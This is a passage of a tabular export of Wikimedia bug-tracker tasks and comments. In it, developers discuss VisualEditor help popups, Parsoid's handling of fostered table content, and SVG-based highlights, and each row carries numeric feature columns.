+https://bugzilla.wikimedia.org/show_bug.cgi?id=51798",Medium,50.0,1373636880,1403824508.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-znebtf73mavsnt4zkjtb,task_description,declined,True,c1,3,False,False,False,1,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+236277,VisualEditor: Add the capacity for help pages in dialogs,"Instead of help /pages/ we've decided to go with help /popups/, per bug 51798.",,,1403824508,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-znebtf73mavsnt4zkjtb,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53217,Implement way to round-trip tables with fosterable content that migrates out of the table,"Simple example:
+
+{|
+foo
+|}
+
+This doesn't RT correctly. 
+
+Real world test case: [[All-Ireland_Senior_Camogie_Championship_1992]]
+Related report: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#A_simple_table_gets_doubled_after_an_unrelated_edit_of_plain_text
+
+Interestingly enough, we have more robust handling for templated content.  The example below is handled properly and RTs correctly.
+
+{|
+{{echo|foo}}
+|}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53402",Medium,50.0,1373603700,1376526837.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_description,resolved,True,c1,3,True,False,True,1,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+235289,Implement way to round-trip tables with fosterable content that migrates out of the table,"Fix deployed, but cache is not yet purged. The purge will happen tomorrow.",,,1376526837,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+235279,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 78242 merged by jenkins-bot:
+(Bug 52638) Fix selser regression introduced by fix for bug 51217
+
+https://gerrit.wikimedia.org/r/78242",,,1375981140,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235271,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 78242 had a related patch set uploaded by Subramanya Sastry:
+(Bug 52638) Fix selser regression introduced by fix for bug 51217
+
+https://gerrit.wikimedia.org/r/78242",,,1375978000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235262,Implement way to round-trip tables with fosterable content that migrates out of the table,Now deployed in production.  I tested dummy test cases and it seems to work.  Would be good to keep an eye out for this in production.,,,1375306275,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235257,Implement way to round-trip tables with fosterable content that migrates out of the table,Another related patch: https://gerrit.wikimedia.org/r/#/c/76324/,,,1374985971,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+235254,Implement way to round-trip tables with fosterable content that migrates out of the table,Currently undergoing rt-testing and will be deployed Monday/Tuesday.,,,1374985901,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+235250,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 75253 merged by jenkins-bot:
+(Bug 51217) Detect fostered content and ignore in selser
+
+https://gerrit.wikimedia.org/r/75253",,,1374928594,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+235246,Implement way to round-trip tables with fosterable content that migrates out of the table,*** Bug 51993 has been marked as a duplicate of this bug. ***,,,1374701823,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235242,Implement way to round-trip tables with fosterable content that migrates out of the table,*** Bug 51964 has been marked as a duplicate of this bug. ***,,,1374677927,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+235237,Implement way to round-trip tables with fosterable content that migrates out of the table,"Change 75253 had a related patch set uploaded by Subramanya Sastry:
+WIP: (Bug 51217) Detect fostered content and ignore in selser
+
+https://gerrit.wikimedia.org/r/75253",,,1374529506,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235232,Implement way to round-trip tables with fosterable content that migrates out of the table,*** Bug 50754 has been marked as a duplicate of this bug. ***,,,1374329698,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235226,Implement way to round-trip tables with fosterable content that migrates out of the table,This looks very similar to bug 50754.,,,1374306109,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,2,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+235222,Implement way to round-trip tables with fosterable content that migrates out of the table,"From IRC:
+[14:44] <gwicke> subbu, re https://bugzilla.wikimedia.org/show_bug.cgi?id=51217#c9: we should be able to detect when something was fostered out by our treebuilder, and should also be able to ensure that everything fosterable is dropped or fostered at the end of DOMPostProcessing
+[14:45] <gwicke> yeah, I wonder what he is up to
+[14:45] <subbu> in that example, what do we do with the information at all .. itis not helpful since the output still looks corrupt.
+[14:45] <gwicke> subbu: IMO it is fine to drop such content on edit, but if we can avoid dirty diffs with selser then that would be great
+[14:46] <gwicke> we could strip the fostered content from the DOM
+[14:46] <subbu> is it the right thing to do in general?
+[14:46] <gwicke> and rig selser so that it restores it unless the content is touched 
+[14:47] <gwicke> or we can keep it in the DOM, but mark it so that selser does not serialize it
+[14:47] <gwicke> ie, a zero-length dsr
+[14:48] <subbu> yes, the rig-selser bit is missing right now.
+[14:48] <gwicke> subbu: detecting foster-parented content and then excluding it from dsr calculations might already be pretty effective
+[14:49] <gwicke> I guess the gaps in dsr would be spanned by the dsr algorithm
+[14:49] <subbu> yes, that should work.
+[14:49] <gwicke> (the holes where content disappeared)
+[14:50] <subbu> i was wondering if we should mark blocks of fostered content with a special div/marker so that VE can treat it specially if there is a use-case for it (not sure there is ..)
+[14:50] <gwicke> subbu: I'd vote for data-parsoid
+[14:50] <subbu> data-parsoid is fine for internal use.
+[14:50] <gwicke> if the user edits the fostered content, we serialize it
+[14:50] <gwicke> i.e., do the dirty diff then
+[14:51] <subbu> but, i mean: if VE can do something special if it knew about it.  not sure what that would be .. i doubt this is a high priority thing in any case.
+[14:51] <gwicke> when something adjacent to the former location is edited, we dirty-diff it there
+[14:51] <gwicke> subbu: IMO we should abstract such issues
+[14:52] <gwicke> bot authors would not want to deal with it either
+[14:52] <gwicke> and the DOM should reflect the rendered semantics 
+[14:53] <subbu> dom should reflect rendered semantics for sure.",,,1374271613,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+235215,Implement way to round-trip tables with fosterable content that migrates out of the table,"So, I investigated the bug with this page (https://en.wikipedia.org/w/index.php?title=List_of_Jessie_episodes&diff=564684769&oldid=564554799) (comment #3 above).  
+
+This is quite nasty and nothing to do with foster parenting as I mistakenly/hastily believed.  The page has since been edited to remove the problematic wikitext (https://en.wikipedia.org/w/index.php?title=List_of_Jessie_episodes&diff=564803163&oldid=564788048) so the problem will no longer manifest there.
+
+However, here is a snippet from 
+
+{{Episode list
+ |EpisodeNumber   = 1
+...
+...
+ |ProdCode        = 101<ref name=""futon"" />
+ |Viewers         = ...
+...
+...
+|}
+
+Note the input to the 'ProdCode' param.  Here is a snippet for the template source of Episode list (https://en.wikipedia.org/w/index.php?title=Template:Episode_list&action=edit)
+
+... <td id=""pc{{{ProdCode}}}"">{{{ProdCode}}}</td> ...
+
+See what that will do with the parameter passed in from the page.  Here is the expanded source that Parsoid sees:
+
+... <td id=""pc101<ref name=""futon"" />"">101<ref name=""futon"" /></td> ...
+
+So, that td-tag is totally broken and Parsoid renders that as literal text (rather than a html td tag) which then promptly gets fostered out (by Parsoid itself) which then adds noise to the HTML output which is what you see when you opened that page in VE (see video above added by AzaToth). 
+
+The editor Geraldo Perez has already fixed the page as I indicated earlier, so this is not a problem anymore.
+
+But, I dont think we should even bother trying to handle broken wikitext like this.  We do go to great lengths to fixup/handler broken wikitext while still preserving it as far as possible to not introduce dirty diffs, but dirty diffs are sometimes inevitable in situations like this.  So for now, I am going to classify this example as unfixable in Parsoid, unless someone has smart ideas.",,,1374266416,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+235209,Implement way to round-trip tables with fosterable content that migrates out of the table,"(In reply to comment #7)
+> The problem on the VE end is that foster-parenting happens already when the
+> browser parses the received HTML. Doing a simple string comparison with the
+> received HTML won't normally work because of quoting differences.
+This is right. We have no reasonable way to tell whether the browser's HTML parser introduced changes, because inferring anything about the HTML string requires using the browser's HTML parser which... well you get the idea.
+
+On the Parsoid end, this is easier to detect, because you have the original DOM. You could serialize that DOM to a string, then parse it into a DOM again, and compare that against the original DOM using .isEqualNode() (if that exists in your DOM library; alternatively, use your DOM differ).",,,1374190969,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+235203,Implement way to round-trip tables with fosterable content that migrates out of the table,The problem on the VE end is that foster-parenting happens already when the browser parses the received HTML. Doing a simple string comparison with the received HTML won't normally work because of quoting differences.,,,1374185200,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+235198,Implement way to round-trip tables with fosterable content that migrates out of the table,"On the Parsoid end, detecting that the page cannot be handle is equivalent to fixing it.  Same analysis work has to be done.  On the VE end, perhaps they could use the 've-needscheck' verification to detect something like this -- that is something that VE developers can respond to best.  Adding Roan to this ticket who might be better able to answer that part.",,,1374184823,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0
+235192,Implement way to round-trip tables with fosterable content that migrates out of the table,"Why not just disable VE on pages like these for now. Edit page, parsoid render, ""VisualEditor encountered a structure that it currently cannot handle. You will be redirected to the source editor.""
+
+Breaking pages == bad.",,,1374101827,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+235185,Implement way to round-trip tables with fosterable content that migrates out of the table,See http://youtu.be/QYgkdnQ6Yng for realtime feeling about the issue,,,1374089129,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+235177,Implement way to round-trip tables with fosterable content that migrates out of the table,"Looks like this corruption is because content gets fostered out of the table on
+load in VE.  One more instance of fosterable content that needs to be handled.
+
+https://en.wikipedia.org/w/index.php?title=List_of_Jessie_episodes&diff=564684769&oldid=564554799",,,1374088970,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0
+235171,Implement way to round-trip tables with fosterable content that migrates out of the table,"(In reply to comment #1)
+> Jotting down an idea:
+> 
+> https://gerrit.wikimedia.org/r/#/c/73369/ is going to add tag-ids to dom
+> elements.  Since they are added linearly, it will always be the case that
+> tag-id(node) < tag-id(node.nextSibling) and tag-id(node) < tag-id(node.child)
+> except when a child is fostered out. 
+
+http://www.mediawiki.org/w/index.php?title=Parsoid/Todo&oldid=554715#DOM_tree_builder is making a cameo appearance ;)
+
+After detection we'll have to figure out a way to make this work with selser though. Simply enlarging the start tag width to include the fostered content won't work. Fostered content can also come from several places in the table. The best is probably to prevent selser from serializing any of the fostered content, but serialize all of it when a part of it is edited.
+
+Generally we should not try to do more than avoiding dirty diffs. On edit to the fostered content (or even the table in general) we should take the liberty to fix the wikitext to more closely mirror the way that content actually renders.",,,1373606553,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+235166,Implement way to round-trip tables with fosterable content that migrates out of the table,"Jotting down an idea:
+
+https://gerrit.wikimedia.org/r/#/c/73369/ is going to add tag-ids to dom elements.  Since they are added linearly, it will always be the case that tag-id(node) < tag-id(node.nextSibling) and tag-id(node) < tag-id(node.child) except when a child is fostered out. 
+
+So, we could actually use these tag ids to robustly detect fostered content and add some encapsulation typeof and about ids on the content and the table so that VE as well as Parsoid's serializer can deal with it.",,,1373604215,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fu4mfwq7s4u3wu5u6yny,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+53202,Draw VisualEditor's non-CE block highlights using SVG polygons,"Shields/phantoms are currently recursively applying to protected elements and positioning additional elements inside them. This causes 2 major problems:
+
+1. Very slow, the CSS selectors use * and adding and controlling all these elements takes a lot of time as well.
+
+2. We are limited to a single rectangle per protected node, which for inline elements is especially problematic since they are meant to wrap.
+
+Using getClientRect and getClientRects (for inline stuff) can give us bounding box information that we can then cache, and render polygon click blocks for using an SVG layer. SVG's pointer-events: none works across browsers (unlike using this property in HTML) so we can control which elements in the SVG rendering block or pass through.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=64709",Medium,50.0,1373579640,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_description,open,True,c1,3,False,False,,1,,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+1901354,Draw VisualEditor's non-CE block highlights using SVG polygons,"Change 434103 **abandoned** by Bartosz Dziewoński:
+%%%[VisualEditor/VisualEditor@master] [WIP] FocusableNode: Allow the highlights to have holes (using SVG)%%%
+Reason:
+%%%%%%
+https://gerrit.wikimedia.org/r/434103",,,1650404810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,False,,,459,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1071105,Draw VisualEditor's non-CE block highlights using SVG polygons,">>! In T53202#542648, @Esanders wrote:
+> We are now using getBoundingClientRect and getClientRects. The only part missing from this bug is to use SVG. We should investigate the performance benefits/losses of doing so.
+
+This was implemented in {ee5b69772963c5d3f17b15742023cf33fc5dd48a} and I think that actually resolved all of the original performance concerns. I don't think switching the  `<div style=""top: left: …""></div>` to  `<svg><rect x= y= …></svg>` is likely to improve or worsen performance. I am only doing it because it gives us the flexibility to have non-rectangular highlights.
+
+----
+
+> Using getClientRect and getClientRects (for inline stuff) can give us bounding box information that we can then cache, and render polygon click blocks for using an SVG layer. SVG's pointer-events: none works across browsers (unlike using this property in HTML) so we can control which elements in the SVG rendering block or pass through.
+
+>>! In T53202#2280692, @Esanders wrote:
+> In order to prevent the SVG canvas (a bounding rectangle) from capturing click events we'd need to set pointer-events, which would mean this wouldn't work on IE<11
+
+This sounds like the idea was to use a single `<svg>` tag covering the whole page, but made unclickable with `pointer-events: none`, with `<rect>` or something for individual highlights.
+
+I think we should stick to smaller `<svg>` tags covering just the focusable node (like the current `<div>` tags). This seems like a potentially not very well-tested area in browsers, and it would be nice if any bugs affecting the new highlights (whether in our code or in browser code) were localised to just the highlight instead of breaking the entire page. For example, when I was playing with it yesterday, my first implementation had such large `<svg>` tags, and it caused the mouse cursor to rapidly flicker between regular pointer and text cursor while over it (I couldn't reproduce that again, but James saw it happen :) ).
+
+(These days we only support IE 11, so the only remaining browser that has no support for 'pointer-events' in HTML is Opera 12; it only supports the property in SVG.)",,,1526820747,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,254,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+1070925,Draw VisualEditor's non-CE block highlights using SVG polygons,"Change 434103 had a related patch set uploaded (by Bartosz Dziewoński; owner: Bartosz Dziewoński):
+[VisualEditor/VisualEditor@master] [WIP] FocusableNode: Allow the highlights to have holes (using SVG)
+
+[[https://gerrit.wikimedia.org/r/434103]]",,,1526763872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,False,,,254,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+659399,Draw VisualEditor's non-CE block highlights using SVG polygons,"In order to prevent the SVG canvas (a bounding rectangle) from capturing click events we'd need to set pointer-events, which would mean this wouldn't work on IE<11",,,1462887892,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,149,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+332565,Draw VisualEditor's non-CE block highlights using SVG polygons,">>! In T53202#781046, @Esanders wrote:
+> This is not high priority
+
+Investigating performance options is generally always a priority. But you're probably right that it won't be hugely beneficial.",,,1416846887,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jdnwbc5e2g3tlpeis2hc,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
